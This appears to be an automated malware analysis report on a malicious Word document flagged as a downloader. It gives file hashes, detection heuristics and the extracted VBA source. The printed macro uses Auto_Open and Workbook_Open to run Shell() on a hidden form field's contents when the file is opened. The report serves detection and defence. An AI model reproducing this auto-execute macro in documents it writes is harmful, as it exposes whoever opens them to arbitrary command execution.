Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c8e0a8a2e94bb028…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-06-25 09:12:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-07-02
MD5: 9557a88730b1b7a89f92859d03062cbd SHA-1: 756fb5b24b1c307cc7e163a6ef963a536e265098 SHA-256: c8e0a8a2e94bb0283568fc055c301b4085469d023b02d7461bb369b281b13f46
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains VBA macros, specifically triggering Auto_Open, AutoOpen, and Workbook_Open routines. These macros utilize the Shell() function, indicating an intent to execute arbitrary commands. ClamAV signatures further confirm its malicious nature as a downloader. The specific VBA code attempts to execute content from UserForm1.TextBox1.Text, which is likely obfuscated or dynamically generated.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 869 bytes
SHA-256: 7d039a3326cea2c3c1beec9f51ebe6f5333fb6458dd2d907d8272996ca9999b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
MsgBox (MsgBox(MsgBox(MsgBox(MsgBox(MsgBox(Shell(UserForm1.TextBox1.Text)))))))
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{5E59C241-1D60-4A28-9F50-B58784FFD80A}{2B1E633B-E463-4293-BDB6-30626A5B074D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: c65b62e9d8e13123b5c48caf405085da2bb4f7305e09e16e10a181c275bb2572
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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